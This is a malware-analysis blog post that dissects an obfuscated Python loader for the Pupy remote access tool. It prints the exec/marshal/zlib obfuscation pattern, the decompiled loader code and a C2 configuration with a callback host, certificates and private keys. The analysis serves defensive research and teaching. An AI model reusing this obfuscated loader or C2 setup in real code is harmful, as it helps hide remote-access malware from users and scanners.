Nicely Obfuscated Python RAT
While hunting, I found an interesting Python script. It matched one of my YARA rules due to the interesting list of imports but the content itself was nicely obfuscated. The script SHA256 hash is c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b and the current VT score is only 2/59![1]
The script is simple, after a bunch of imports and an if/then condition to detect if it is executed on Windows or Linux, we have this piece of code (slightly beautified):
import zlib,marshal exec marshal.loads(zlib.decompress( 'x\xda\xd4\xbd\x0bx\x1c\xc9y\x18X\xd5=O`\x80\x01\xf1\x06\x9fC\xee <stuff deleted> \xab\xac\xff\xd4Oy\x99\x86\x17\xff\xfa\xa1\x14\xe3M\x92\x92z\xf9\xc9\xe5\xff\x03\x1d\x99\x95\xf3'))
You can see that the script use exec()[2] which can be compared to the JavaScript eval(). exec() will execute the Python code passed as argument:
$ python3 Python 3.8.6 (default, Sep 25 2020, 09:36:53) [GCC 10.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> exec("a=True;print(a)") True >>>
When I'm teaching FOR610, I like to say that, when you see eval() in a script, often this means it's "evil". In Python, eval() is able to evaluate and execute either a string, an open file object, or a bytecode object. You know that Python is an interpreted language but, like many other languages, it actually compiles source code to a set of instructions for a virtual machine (the Python "interpreter"). This intermediate format is called "bytecode". You probably already saw files ending with '.pyc'.
The payload is zipped and, once decompressed, it is passed to the marshal module[3] which performs internal Python object (de)serialization. The output is a bytecode that is evaluated and executed by exec(). The challenge is now to investigate what's inside this bytecode. To achieve this, we can use a third-party module called uncompyle6[4]. This module is able to decompile bytecode into Python source code. Let's change the original code into this:
import zlib import marshal import uncompyle6 uncompyle6.main.decompile(2.7,marshal.loads(zlib.decompress('...')),sys.stdout)
Here is the generated output. We start to see interesting stuff:
# uncompyle6 version 3.7.4 # Python bytecode 2.7 # Decompiled from: Python 2.7.17 (default, Jul 20 2020, 15:37:01) # [GCC 7.5.0] import imp, sys, marshal stdlib = marshal.loads('... <more obfuscated data>...') config = marshal.loads('... <more obfuscated data> ...') pupy = imp.new_module('pupy') pupy.__file__ = 'pupy://pupy/__init__.pyo' pupy.__package__ = 'pupy' pupy.__path__ = ['pupy://pupy/'] sys.modules['pupy'] = pupy exec marshal.loads(stdlib['pupy/__init__.pyo'][8:]) in pupy.__dict__ pupy.main(stdlib=stdlib, config=config)
We see a lot of references to "pupy" which is a Python RAT ("Remote Access Tool")[5].
The most interesting data that deserves some deeper check is the 'config' object. Let's have a look at it by executing the code related to it and we find this:
$ python3 Python 3.8.6 (default, Sep 25 2020, 09:36:53) [GCC 10.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import marshal >>> config = marshal.loads(b'...') >>> print(config)
Here is the extracted config (beautified):
{ 'launcher_args': [ b'--host', b'172.16.225.19:8443', b'-t', b'ssl' ], 'cid': 2438748468, 'launcher': b'connect', 'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)], 'debug': False, 'credentials': { 'SSL_BIND_CERT': b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBAzANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKbEtJV2pYaGlvZjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEArKNBMZbKTBVkPfhR94lVAVYuv8kzB3HYkZF0PZjI7Cad\nr+9rQ1Q3bQxEQ7Z4NztLysbMzEBRGTDMdQGrRbFH/A4zgaSznIH2+ftInjYUEoXO\ntpZF8j5G2qR26VqTBYbhYagDFQM9s/E5X7Fm94QvACBgBQySZTYBQKCpKESir4dx\n7hkfRZgrjBV9YLPFGFqd1IX1k/0JyYMtnCnP5kBjM8/Q6hDgdV7TEs7CmahpL+rl\nY3ijIo9m1B5nlhb1ug7+w9/YdHfclGjQ2dmi0/ndp66aMlQHhjzDnNlwdsJ77+zx\n4aWdN2vY4afdeHs1VoARvnN5UCL7R1TaI16QUlhKSwIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBDKYoYigHC5cKWx42XCjDkSMAsGA1UdDwQEAwIFIDARBglg\nhkgBhvhCAQEEBAMCBkAwDQYJKoZIhvcNAQELBQADggEBACwNdBricTnwLcnbFdmE\npyl+01dOahdQj0cNXQ9LvJIVrr07x+81V7513TZ6qxUfgihR69Kf6iYbp0vtoixu\n0wH9cT9tLyDhXopgZXiGna/zITtlUXAvkIzaDTEJ3t4FALX+BoQU8Skx4Y2OLpi/\nfY/ku4/QRaxOELHMmkljbhrixTHnJHgxWvfnXPr2icvxCHsL9r1gK8ze+ZfyjDVe\nbidYgLzthrXiCvNTW1PiiUW7WHeGQjp7O87vZpUOCZ2hVGZtI5svGjBqgqRCyLM2\nvaXyvL6RSRlIayZea2mbJFb5ZhzvpNroiBAa72r1rOgRZRqA8k4cvo1JH3xBIcGo\npN4=\n -----END CERTIFICATE-----\n', 'SSL_CA_CERT': b'-----BEGIN CERTIFICATE-----\nMIIC0DCCAbigAwIBAwIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIxMTAxMjE0MTM1OFowFTETMBEGA1UE\nCgwKSWJIblRXbmhjRTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALH+\n52uAbcc8nIOpHbzmoG+lbXLBeU75OYr8JhZSZIw+m18QvsZ8ACBGeAwXbv5AvYGR\nVvECtDYTkgRaQzIAaZvo0C8kqj43sAkyUWcf0kuVLOkbYlG9NMDDkyVL6BmIQpvy\n8+ohLk2CfFoKGC0oJH3lK037WMqki+hi2a8iSVaSu/c23WeKhN8mRMDPRAfwPqca\nBRl4U+ezr+Y32ayQF1N5zlVbWEOv6NZ9WTIt9qRnHpXLKsQPvJB/EP/BbSPnJcdB\n/DTgYkXHhJL1FVQUj4CblbVI2wuR/2bbVIJjM3srNFvuuLdPhE6+x+fFu2Q3u7d0\nbH2BFQg0Jut25ZGMNqcCAwEAAaMrMCkwDAYDVR0TBAUwAwEB/zAZBgNVHQ4EEgQQ\nLw2jfzazhJBAvVC+mBylPzANBgkqhkiG9w0BAQsFAAOCAQEApeMeRldhXgR+Ny2Q\nnHyI+qaubO+fdJ5gJaPZ5XprSFAI1Opwzq2BPQ+99w0ej9TlTa3l6IZ73zUU4cc/\n4PFzMVbJKP0AQs3PAqA4z+o6YOwaw7wlGUq4pY/LHvyDY0mxGRW9+aptJkxMGGj3\njJpwoxmPWFm6hrwgIGgrkzlJmo23TMCxvNKMwsx8MZMQLbcCMcZ+nxnBugF1025p\nUy+pgGXErRhiZ0tLpmnfQIbL9vUsCeJAh9F/+1DxaHQIyEiOsvZUiHXIw8LERx9P\nEVf4RpdTe4EX1eAO5LnnsQpK6vqii0T0NUoVjCEGwcvfC5xTWlnbvlYi2T3uGim8\nsVCBqw==\n -----END CERTIFICATE-----\n', 'SSL_CLIENT_CERT': b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBBTANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKWmdmWlRGZGtTRjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEAntdeGhRlWcA7ZwWpnQ5TuWCmEsqliN4LdU4u5c1FCDPX\n8mvRi//NTdNc+jJyZgXC25ep9vTlWYLjvdY63i64/3yunF3VMiOdmFXW+bEfCFmh\neIufwh6R34530fcOvo21olXPsUBqilIGVfqzCiVWtT5SYRUlIMo0CHJdTkg0l4SC\n4UPv+nndYzpQ6iZl9i4jFFMnPuz2DPywYBOAoqz+MjNp7WR03+n92VAqnZ+/C+mo\nBu3WeH0vH56mmxjCkBK/N7mHI64HdC6iw47yzKT/mXx/pf1ZVtWlcmASTA3pLrT4\nHQ5xHTVm2p6c/XzgsTQ8SvV+fcEqcWKG5SUnDEFW0QIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBBe1ns9ffIR6Z8GqcIP6tyjMAsGA1UdDwQEAwIHgDARBglg\nhkgBhvhCAQEEBAMCB4AwDQYJKoZIhvcNAQELBQADggEBADzXuhwbBWbbsqGlgiwC\n71ci6+d47jszL3cEDwmxmHShCApUmonu2zTB9zdLIdakgctriEBM1ygHTF1ZBvet\nAaVsRZUYAIb8/sqmuBVRsLq7JVTcuOwRKcFsBF6NhP9/MYaXLehR5kJ5d4wtQl01\nD6qPpW21ceqXJ292EhBGatQMgzh84OV7gvSQKMyfW7QblcEqAoTE+1km6QY++/Uh\nfvzSxgABIZnLjDqRtCCLxWBsd9b32xkF33hWKScR7lJwmxLnm44UHiFu2kU/laFi\n3rcxs1892v934bknV0zPTcPqYOGdq5ndNohA0IPEXbtdn3UueoNdaSWiZzW7oTrg\nBaQ=\n -----END CERTIFICATE-----\n', 'SSL_BIND_KEY': b'-----BEGIN PRIVATE KEY-----\nMIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCso0ExlspMFWQ9\n+FH3iVUBVi6/yTMHcdiRkXQ9mMjsJp2v72tDVDdtDERDtng3O0vKxszMQFEZMMx1\nAatFsUf8DjOBpLOcgfb5+0ieNhQShc62lkXyPkbapHbpWpMFhuFhqAMVAz2z8Tlf\nsWb3hC8AIGAFDJJlNgFAoKkoRKKvh3HuGR9FmCuMFX1gs8UYWp3UhfWT/QnJgy2c\nKc/mQGMzz9DqEOB1XtMSzsKZqGkv6uVjeKMij2bUHmeWFvW6Dv7D39h0d9yUaNDZ\n2aLT+d2nrpoyVAeGPMOc2XB2wnvv7PHhpZ03a9jhp914ezVWgBG+c3lQIvtHVNoj\nXpBSWEpLAgMBAAECggEBAIiwUkQjMlV/cnkmji/CSs3eIPG1KnQwjdrkIfdLa3qf\nMKdGl9Udby0mUz6R0SlaB66sLSdjnVKmspvKEIQD1A0caWeysouu05Amh97MzqPD\n0mH7JbKh4JPpOEWXc2Ui4Hzj/Fy8zjQVQOolmnNL87LT73LP+3Grit5S1tyNS4pS\nFMtQUx0UzsnuHrUmMwH1dRO6DzohmpZR3wTDxxrOuWiqbNKyM2sTJ3xRU1u2zbsT\ny4UEkZp1brI711GmlmFodUli2u1OFHld5IUNEniTX2CXa/+NpfaUYM4OIS8cCYhz\n1Hpbq1FZpephXfhc3oGRBepCX4EAFkiKpHs1dz9dSYECgYEA1gpVnDtWebXRsKbs\nLsXAw5cO7C2oTzSgbH61nbLW17IircwMpxvklxxfwaDorIIwhhYq1qe/2aBBduK4\nEKfaWl9vh4occjqlIF7CvYahku3EeLXPjVqFEWe1ixJsN7fAOOCuVuXIboZsHW8n\nTQzZd/xV5EeK6Leu8l0obmtrY+ECgYEAznseTl9wZV0nCMAcG3y9opWP4xXKzdKa\nDCkX0lb715+xUD5V+MX+AW8c+xX25X0+aO2c8GkOCyqsmBFTMT6c7F+BKFTi658M\ngjMmpVX/wVuP51/qK0/3ozKcEgEoUASaVzsAxzoAhjsH7UIjUV6Ps6mp5Hdaeee/\nBZLLbZuO86sCgYEAtPCjkqEu51Dm5PkXbCrMXAwVF185i0un2k/7ZEbNDCaQ3m9C\nuvn/cicQY/WM/FhKgO+4YyIIMwcgkEn05E+hbQiElgYRKhedhBHXerSXXkgV8R1x\nScOd/iq388stJKT3oJ1/hAJYP+bu+qr+hEo6hQ4R5hr8uOKeyFAsX7v7WsECgYEA\nillkTQ8VuFVaOjq+moxSZAXiiz2mzZI3Nb6y/3TY+fk+TY32/OFs+HkC6holfE8W\n6ieL6Gn7xu+pBZtWKsDRVHAJkoSOJ2JCd1reohmlbGF1YoqZ1LuYKflXKZks8bCj\n2Z7nPpZWk5oqDYcrMvIxRyh/dV2jedsV2x4owCBjAFECgYEAveBznLl2yrQmbe40\net0E4oA2vf67juop4y6WrOgqkoFnmfFoEUF54tAVDKdHcnhzJp3/eko49Evr8agY\ndGcZgkpzKFqZQ56LZ9ltKXATm+I2InjyQC3UXMBdSDpuW3io0Et+7bzaV0xaHA0g\nSxsoi8TK31dV/uBbuM8w0Ub8mJ8=\n -----END PRIVATE KEY-----\n', 'SSL_CLIENT_KEY': b'-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCe114aFGVZwDtn\nBamdDlO5YKYSyqWI3gt1Ti7lzUUIM9fya9GL/81N01z6MnJmBcLbl6n29OVZguO9\n1jreLrj/fK6cXdUyI52YVdb5sR8IWaF4i5/CHpHfjnfR9w6+jbWiVc+xQGqKUgZV\n+rMKJVa1PlJhFSUgyjQIcl1OSDSXhILhQ+/6ed1jOlDqJmX2LiMUUyc+7PYM/LBg\nE4CirP4yM2ntZHTf6f3ZUCqdn78L6agG7dZ4fS8fnqabGMKQEr83uYcjrgd0LqLD\njvLMpP+ZfH+l/VlW1aVyYBJMDekutPgdDnEdNWbanpz9fOCxNDxK9X59wSpxYobl\nJScMQVbRAgMBAAECggEAdU+2TiiWGc0hkhrahAYay6SXwvUrgIQNjltpw4rw2vf/\nGymKH42TAVGDL72mQ7cpjKjcfGmuIYfLz16zJ3j2ZKqfAxlB5b/sGp/7H3oy4yXf\nXXoxSVrufV9pGwcOOqnKZdReihh7FyExULrRFEMzYLRgfxbwzuDHwR1F0BT/0o5/\nZOYmCMsskaFnC458WqcpU/N11vAolVf6VtWIlCyCJCDZIfricTC/U5t22aR04eO9\nAxq1n9oZ49Nwqnm1H85u8qqedqAF5VFpf7PRVOZMk5DLkgR5bTSIFD08oKoFJWeO\nWSZgz3szNME2fIYD6+1PBVVrJPmtvQ5E1GzJFV6KgQKBgQDPtsRV8wchEZjjnQeF\n+OygDUL19UIaZtYaZY6dsFTYlXlwaNS5tT7ZAlyLz9qEzI9BfcCQ9CnxV+DFth8t\nZgavu2fdH9ETHXz9MJArehaMci1d9Ma2bMpOpheyAkbjbfvueNFlas4olmPI2Zzz\nx7A2K55L/OxvFfFt4cqmhC6W2QKBgQDDxCW8adbMCJw6w8RLnXwNDhU6kr2i+W3P\nSUtwqaVi6KaRXJjui0LfglKmvfhu5z677Z3817FCuHhztT6jcnz0z/5uCplIo4ln\nSNtr1DQKsh4xAUdU3vK3kp1bFZTvsKPyP+w4BQ9xCqFFUPzP0qD7Tuhr0Cw63Iao\nC9Fprpx0uQKBgAyDShiTZ16KnNc5YnajpD2QDvSaLb1BbKxyacD+Gl5hwssOxaHa\nVUrlZYXWo6dUW1zqomsZCl3LmXLPodkuSEDV3U/o1sN8B0eJYWX9GNalGi6KzF24\n+Ab84niKwpJ40bBv/s1JPdocFS7ITTgyU18wCX0yY1vdyomADKEzXUshAoGAOpMA\n23wricb1v9t9a0aGrH1POsRXO2E4SvJaQS5xTsPfutSi6ZT/gFLFGiDzKXPFYIN7\nZwC+iAEcATr0sAD8hF+LeC9xp7tOzHmPNZc7rwuWXwFL74f5xZV3wZ4WfxUyKLSZ\noDVbZm5QzKWrzx7tjeQRRNj3svDy1Wsb0GwvYfkCgYBYmtX19ZiZGGXx8mow3fxB\ntaEm7uIXuFojvaZZKIcbj67Mc0AVIsWeG2PhdbBGuXKNFu9Gkxdjw5OUip8a0Uns\nIWzAKHtVUX9vOG2cAC4eD4G+LgIdHnj46RlD7edppSflAHxibTz/XI/g0bnIFX2s\nGjgAfHPZxjSkzkYgsWMNxg==\n -----END PRIVATE KEY-----\n' }, 'scriptlets': [''] }
Unfortunately, the host is an RFC198 IP address. Maybe we could find interesting information in the certificate? Let's have a look:
# openssl x509 -in cert.tmp -text Certificate: Data: Version: Unknown (3) Serial Number: 3 (0x3) Signature Algorithm: sha256WithRSAEncryption Issuer: O = IbHnTWnhcE Validity Not Before: Oct 12 14:13:58 2020 GMT Not After : Oct 12 14:13:58 2023 GMT Subject: O = lKIWjXhiof, OU = CLIENT Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:ac:a3:41:31:96:ca:4c:15:64:3d:f8:51:f7:89: 55:01:56:2e:bf:c9:33:07:71:d8:91:91:74:3d:98: c8:ec:26:9d:af:ef:6b:43:54:37:6d:0c:44:43:b6: 78:37:3b:4b:ca:c6:cc:cc:40:51:19:30:cc:75:01: ab:45:b1:47:fc:0e:33:81:a4:b3:9c:81:f6:f9:fb: 48:9e:36:14:12:85:ce:b6:96:45:f2:3e:46:da:a4: 76:e9:5a:93:05:86:e1:61:a8:03:15:03:3d:b3:f1: 39:5f:b1:66:f7:84:2f:00:20:60:05:0c:92:65:36: 01:40:a0:a9:28:44:a2:af:87:71:ee:19:1f:45:98: 2b:8c:15:7d:60:b3:c5:18:5a:9d:d4:85:f5:93:fd: 09:c9:83:2d:9c:29:cf:e6:40:63:33:cf:d0:ea:10: e0:75:5e:d3:12:ce:c2:99:a8:69:2f:ea:e5:63:78: a3:22:8f:66:d4:1e:67:96:16:f5:ba:0e:fe:c3:df: d8:74:77:dc:94:68:d0:d9:d9:a2:d3:f9:dd:a7:ae: 9a:32:54:07:86:3c:c3:9c:d9:70:76:c2:7b:ef:ec: f1:e1:a5:9d:37:6b:d8:e1:a7:dd:78:7b:35:56:80: 11:be:73:79:50:22:fb:47:54:da:23:5e:90:52:58: 4a:4b Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: CA:62:86:22:80:70:B9:70:A5:B1:E3:65:C2:8C:39:12 X509v3 Key Usage: Key Encipherment Netscape Cert Type: SSL Server Signature Algorithm: sha256WithRSAEncryption 2c:0d:74:1a:e2:71:39:f0:2d:c9:db:15:d9:84:a7:29:7e:d3: 57:4e:6a:17:50:8f:47:0d:5d:0f:4b:bc:92:15:ae:bd:3b:c7: ef:35:57:be:75:dd:36:7a:ab:15:1f:82:28:51:eb:d2:9f:ea: 26:1b:a7:4b:ed:a2:2c:6e:d3:01:fd:71:3f:6d:2f:20:e1:5e: 8a:60:65:78:86:9d:af:f3:21:3b:65:51:70:2f:90:8c:da:0d: 31:09:de:de:05:00:b5:fe:06:84:14:f1:29:31:e1:8d:8e:2e: 98:bf:7d:8f:e4:bb:8f:d0:45:ac:4e:10:b1:cc:9a:49:63:6e: 1a:e2:c5:31:e7:24:78:31:5a:f7:e7:5c:fa:f6:89:cb:f1:08: 7b:0b:f6:bd:60:2b:cc:de:f9:97:f2:8c:35:5e:6e:27:58:80: bc:ed:86:b5:e2:0a:f3:53:5b:53:e2:89:45:bb:58:77:86:42: 3a:7b:3b:ce:ef:66:95:0e:09:9d:a1:54:66:6d:23:9b:2f:1a: 30:6a:82:a4:42:c8:b3:36:bd:a5:f2:bc:be:91:49:19:48:6b: 26:5e:6b:69:9b:24:56:f9:66:1c:ef:a4:da:e8:88:10:1a:ef: 6a:f5:ac:e8:11:65:1a:80:f2:4e:1c:be:8d:49:1f:7c:41:21: c1:a8:a4:de
Same conclusion, no interesting information here. This is probably an internal test or a red-team exercise but the obfuscation technique used in this sample is interesting...
[1] https://www.virustotal.com/gui/file/c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b/detection
[2] https://docs.python.org/2.0/ref/exec.html
[3] https://docs.python.org/3/library/marshal.html
[4] https://pypi.org/project/uncompyle6/
[5] https://github.com/n1nj4sec/pupy
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments
noob
May 6th 2023
1 year ago